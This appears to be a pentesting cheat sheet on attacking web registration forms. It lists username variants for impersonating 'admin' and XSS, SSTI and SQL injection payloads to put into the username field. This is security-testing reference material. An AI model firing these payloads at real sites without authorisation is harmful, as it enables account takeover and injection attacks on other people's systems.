Web Registration Attack
Last modified: 2023-09-19
Registration mechanism might be vulnerable to compromise.
Register with the Same Username/Email Address as Existing User
We might be able to register the same username/email address as the existing user. It may affect the web server so be careful when testing.
Here are examples of username to register.
admin
administrator
root
Alternatively, it’s worth to try various approach to register.
# Insert null byte
admin%00
# Insert a space before username
admin
%20admin
# Insert a space after username
admin
admin%20
# Insert spaces around username
admin
%20admin%20
# Overflow (we need to find the longest characters that can be registered)
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxadmin
Malicious Usernames
XSS
We might be able to inject XSS in username when registration.
john<script>alert(1)</script>
john</span><script>alert(1)</script>
# Overflow character length
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<script>alert(1)</script>
SSTI
It’s worth to try SSTI payloads if the website uses frameworks/template engines such as Flask Pug, Angular, etc. Register username with the following SSTI.
{{2*3}}
{2*3}
${2*3}
2*3
{{ `<script>alert(1)</script>` }}
{% debug %}
SQLi
If website queries the database items using username, we might be able to inject SQL command in the username. Register username with the following SQLi.
test' or 1=1--
test' or '1'='1'--
test' union select null,null--
test' union select null,null,null--